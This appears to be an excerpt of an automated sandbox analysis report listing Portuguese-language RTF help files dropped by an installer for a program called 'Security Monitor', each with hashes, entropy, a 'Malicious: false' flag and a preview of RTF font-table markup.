SSDEEP:	768:qOF2whYDh4GQgJAqxAUZ8ipwQduXyufTM3wEmgIqvNNb+S/5lqmhIFBjMpVWH3WA:qOQxqiBXZko0
MD5:	149EB3F389063EE27E719BA447DAD74E
SHA1:	1A4BF26BB1082D14EFDE795E2EC0E2357F0A3E74
SHA-256:	61576A27746879AC99F0F0A588FA18BD49A62908A3EF1CBD0446F3F3D18CD0FD
SHA-512:	F72E59E3935176D0D8E659F64FB344EBAE43928C7F53633160E8D7F34F2EAA0C9C738EE0DC87F14E1C35D822BB0B3247C3F427FF657F97C0E73463C116D29799
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-P6UCM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38831
Entropy (8bit):	5.022754170432963
Encrypted:	false
SSDEEP:	768:wMF2weYJK4J7bIWIRV9OOVQjwQ49PomsZ/HuJct9:wM3wJF4Zko9
MD5:	01A4A15CD5BE8B0E0E0B34200D995311
SHA1:	D30F6F8219B9B3E91F9D1D0C5283F94A6CF0F124
SHA-256:	D8A325D699C34E761833F16416EEBAAB43AA66454D08B7ECC40B4E5B89C1DF80
SHA-512:	7C968B597067F2E0D0645219A96284C9868298F184FBB479CE214E7F997C353817F079C40D8BC7F79AAAAC42AAF216D33ACEC6407F1B24E60DBA4876426A734F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-SDKPM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49143
Entropy (8bit):	5.0303602087233
Encrypted:	false
SSDEEP:	768:qOF2w9Rll41gJAqxAUZ2ipwQduXLwzq3PtDxdMNzx9AW94V2sQSuUNKKLz5cZecD:qOhKZkos
MD5:	45FFBE8D6F213774FC03CED4B2C6DE2F
SHA1:	B206C836CD793CB43A90FB7F55F20BCD0E588F45
SHA-256:	D4928483BCC0FF7D15BD5B6B6669B82645EA4EC7C454A1F3BCDAFE0E984466BF
SHA-512:	3153444C8413A6E6F6B4B1D0603E18D282A1B5DCAAC064FEFF2F8D9CF63AF5C7F7DDFBC77F26789384FF0E056741C615158570FD0B65114CE493692516316086
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43011
Entropy (8bit):	5.033750943906381
Encrypted:	false
SSDEEP:	768:jaOfIRll4ugJAqxAUZm25iMSf3Tv5itocjSzFkkqYrMOFAPZ/HuJctS:japiZkoS
MD5:	F7FE0658461246679F5FD2A30AF4F9AE
SHA1:	878199CEF5C2AB4748658880B8A9302CF754216D
SHA-256:	D65035962FAF4E5AEC76B8EB56E186E14907CD955511B21F2E212CF706F08940
SHA-512:	A9232C63302DCB47FD8A53DEF4A5B6A8BAAC23766F98D8051751B3AB4A12F9F1D12644DE7E5E5AC897506D7C33FA2803E3FDC241457F3F925EEB42CC6384D874
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47415
Entropy (8bit):	5.015734147683168
Encrypted:	false
SSDEEP:	768:jnTmY+EN4mXbIWIRV9sK8qoZzNqZiuJo8cDovLQoAn3Brxw2mB+c37DWZlIpIkpU:jnciZhNkfY
MD5:	A7A6E83C7BF0C9446D815E04CB208372
SHA1:	793D0F666A6E771A4864B169BBE282F943D5D043
SHA-256:	B5323857EF076CBEBD3B870F4C8EB5C58B968ED51ACB6821C0A93C2FFE53A1AB
SHA-512:	A5B09DD7D7C362B1807F6B9216318AA3598943688EFA39D4E15DB49DCE7743C9DC2574DC182BFCCFBB3501A7A1273A073FC97F8BC714084806B16DC8F43B49F5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49143
Entropy (8bit):	5.0303602087233
Encrypted:	false
SSDEEP:	768:qOF2w9Rll41gJAqxAUZ2ipwQduXLwzq3PtDxdMNzx9AW94V2sQSuUNKKLz5cZecD:qOhKZkos
MD5:	45FFBE8D6F213774FC03CED4B2C6DE2F
SHA1:	B206C836CD793CB43A90FB7F55F20BCD0E588F45
SHA-256:	D4928483BCC0FF7D15BD5B6B6669B82645EA4EC7C454A1F3BCDAFE0E984466BF
SHA-512:	3153444C8413A6E6F6B4B1D0603E18D282A1B5DCAAC064FEFF2F8D9CF63AF5C7F7DDFBC77F26789384FF0E056741C615158570FD0B65114CE493692516316086
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61874
Entropy (8bit):	5.01308589618829
Encrypted:	false
SSDEEP:	768:qOF2whYDh4GQgJAqxAUZ8ipwQduXyufTM3wEmgIqvNNb+S/5lqmhIFBjMpVWH3WA:qOQxqiBXZko0
MD5:	149EB3F389063EE27E719BA447DAD74E
SHA1:	1A4BF26BB1082D14EFDE795E2EC0E2357F0A3E74
SHA-256:	61576A27746879AC99F0F0A588FA18BD49A62908A3EF1CBD0446F3F3D18CD0FD
SHA-512:	F72E59E3935176D0D8E659F64FB344EBAE43928C7F53633160E8D7F34F2EAA0C9C738EE0DC87F14E1C35D822BB0B3247C3F427FF657F97C0E73463C116D29799
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38881
Entropy (8bit):	5.021685226499464
Encrypted:	false
SSDEEP:	768:jnTmrRl+4AnbIWIRV9u6KSsouXIhUGD+hZCZHHuJfD:jnIZNkfD
MD5:	C105B94880EE7C216A6B9CB11680EE5F
SHA1:	DB8A5F0969428FC77D619742CF14E733281491EE
SHA-256:	1F56475447CBCFC209E9BC0BEF763423EA52CDBC4EBB989EC592025C907C8EAF
SHA-512:	18D9F4336DCD746E374B70D297F5F555745CCBFCDE08689B50BEF3C2CD7A7714867F747472240EE195161142C3DC8A93C985FE6D8D66D7F46878C25B45D99A67
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44111
Entropy (8bit):	5.034804043043812
Encrypted:	false
SSDEEP:	768:jaOfIRlU4LgJAqxAUZa25iMSf3TaCkqooYidqm4eEHEvsEJ5sCXSIKEjZHHuJfM:jap7NkfM
MD5:	D6C4CE3A479398A0C89448CF3D344268
SHA1:	03399F4D355A631C8504B35AA82238E444D2A75E
SHA-256:	56DA26981FD5603C5BB388D63B900EF90B42234F9FA6EA48BC7650BC609CC187
SHA-512:	838AE1B09A693DE3A21C37087192C58F56D1D318A6265DA290CA1AB449DA85716BDD8B0D32B0D6D37EAADEDD2D8B89F31BC1F8A800A28B058286490A4720E9D0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55605
Entropy (8bit):	5.01205567474232
Encrypted:	false
SSDEEP:	768:joOfxRl14hJboyQZFJiMJu8WjbvMuhisSnPLQStqICnfLrajKyISfle0anZf1L3v:joQxkONkfp
MD5:	2042C1CEA9DAB7F908912F3BFDF63E63
SHA1:	5584A50BCAF968B5EC85B230E9043456D38C8222
SHA-256:	D67F0917369F9D4C556E2F625566C239FEE4DDB6AEF1483DCB2556F23DD3785B
SHA-512:	B0C961BA725096E33D3B586951221A35A77A56D63E0003C301AD30F6D6DB94DF6853124EFE7FE8817F7EEF9F7972434AFC65010885BCE4A9BEFB60D7FF9A5679
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43205
Entropy (8bit):	5.029790593334823
Encrypted:	false
SSDEEP:	768:joOfYRlj4lmbIWIRV9hiuFfmXYPxz7XzzMVFGqpJzVnz2T8VngbYh8snZHHuJfO:joblNkfO
MD5:	D4CB2191EA1740D821C8C26C19033BE6
SHA1:	3544CFF8E4BCF6BA57A63585AD6DAA2D244DC6D3
SHA-256:	7C075B420A250AC2F36DDAC2834B422FF8B858B0D6E02A9BF7AA5A40FFF6AB39
SHA-512:	D23AB39C0ABA07D99D7F03FAB498C2DADC81247FBC98DD758ABB94413041778BA5A83372F0F5AC20911B1C5F6B61313D6EBA26E966110F482B6B23D3BDAD94CF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44016
Entropy (8bit):	5.032158423293101
Encrypted:	false
SSDEEP:	768:jaOfIRlR4kgJAqxAUZC25iMSf3TIDgE6/o4WGrHwoKkASAt4Nb4B9SZHHuJf5:japUUNkf5
MD5:	CA0B924C577837EAB433DFACF50B0A2B
SHA1:	5FE70BC33A1A72354EB7CFA7327F993383F5CBF3
SHA-256:	62C5D1371C91B454DDE8DF1DB0D628EE59917A766E42475FD17F6EA1E168837F
SHA-512:	A1A20927E1DD4F3F63D8F9D69C23A4C62920C65972B4967BDE5C6FB49EE375B0FD3BC56F57DDB190C267921779A506C42960AA1E9BD7AF979CF6EBB954AD6925
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42824
Entropy (8bit):	5.034062607884397
Encrypted:	false
SSDEEP:	768:jFTmHRlU4U7bIWIRV9pqHjiqlO8Dxg+uoH6ewDiUpk8q8l9kSZHHuJfo:jFulNkfo
MD5:	800E7AD84A7B41C281A79786FEA7BA97
SHA1:	994E9061F0AC0F8D5A34B5456B3CB580216F08F6
SHA-256:	6D4DC10220486F098944FBCE97F8B5D03DA6157F7B59F79AF697D60AEDBDAC82
SHA-512:	887318DB58E88701D2B34B7E894EE2132684D0E3C724BC1B6EBA83C5987ECC1D7984018C8915AD0E7EE63E46C8C4258D7F286D2CE804DDFB37289F37676EB5F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46478
Entropy (8bit):	5.035284697457925
Encrypted:	false
SSDEEP:	768:jFTmHRlr4QogJAqxAUZ81f4igFt5hCteYHIGdLN1Ho3SShcYZVVkiikVi/nuAIRD:jFuqNkfh
MD5:	7EA6627CEC93F45827C17C30BFE21F60
SHA1:	BA5C79789734B4CD143BAAE12DECE8C07FD18427
SHA-256:	6FFBE7F2A89F1128FA7A950F7B1797E2B73E70839FB7EB79EE5B906C50CB8665
SHA-512:	D8C7ED9808A9045B0BE3D247C06F81FB5563F86DAAC704EB1D056AF0799716B6FA0470D81698F28EE72C5B937E0825F1CE42A9F354CA4C61173A0E72DFCB79ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri 